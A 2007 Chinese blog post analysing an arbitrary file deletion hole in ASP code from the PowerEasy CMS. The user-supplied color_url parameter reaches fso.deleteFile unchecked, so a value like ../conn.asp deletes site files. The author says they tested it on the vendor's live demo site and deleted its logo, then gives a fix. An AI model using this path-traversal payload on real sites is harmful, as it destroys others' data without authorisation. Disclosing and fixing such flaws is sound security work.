ChrB(0) & ChrB(0) & ChrB(1) & ChrB(0) & ChrB(24) & ChrB(0) & ChrB(0) & ChrB(0) &_

ChrB(0) & ChrB(0) & ChrB(64) & ChrB(250) & ChrB(1) & ChrB(0) & ChrB(0) & ChrB(0) &_

ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) &_

ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0) & ChrB(0)

  Response.BinaryWrite head

  whichfile=trim(request("color_url"))

  // whichfile由用户提交的color_url而来

  Set Colortxt = fso.OpenTextFile(server.mappath(whichfile),1)

  //以只读方式打开用户提交的变量whichfile,这里取得的是文件

rline = Colortxt.ReadLine //读取文件一行

badwords = split(rline,"|") //以“|”作分隔

Colortxt.Close

  fso.deleteFile(server.mappath(whichfile))

  //这句就是漏洞了,此句的作用是删除文件。由于whichfile由用户提交而来,又没有经过任何安全处理,所以便构成漏洞了。如果我们让 color_url=../conn.asp,那么就直接删除conn.asp文件了,同样,我们可以让color_url为站内任一文件,最后,我们可以删除全站的文件。

for i=0 to UBound(badwords)

Response.BinaryWrite to3(badwords(i))

next

End Sub

有了上面的漏洞,我们就一起去测试一下官方网站,看看是否存在此漏洞吧。打开官方演示网站,如图1所示,我们就以动易的Logo作测试吧。查看其路径,发现在images目录下,名为logo.gif,

现在,我们注册一个用户,然后进入会员中心,在URL处填入:。
成功提交之后,返回到首页,现在我们可以看到,官方仍然存大此重大漏洞。官方logo.gif处变成了一个红叉,说明已被删掉。

解决办法为最好不要从外部接收数据,要么就删除代码:fso.deleteFile(server.mappath(whichfile))

九月 23rd, 2007

Posted In: 未分类

下一页 »

无觅相关文章插件,快速提升流量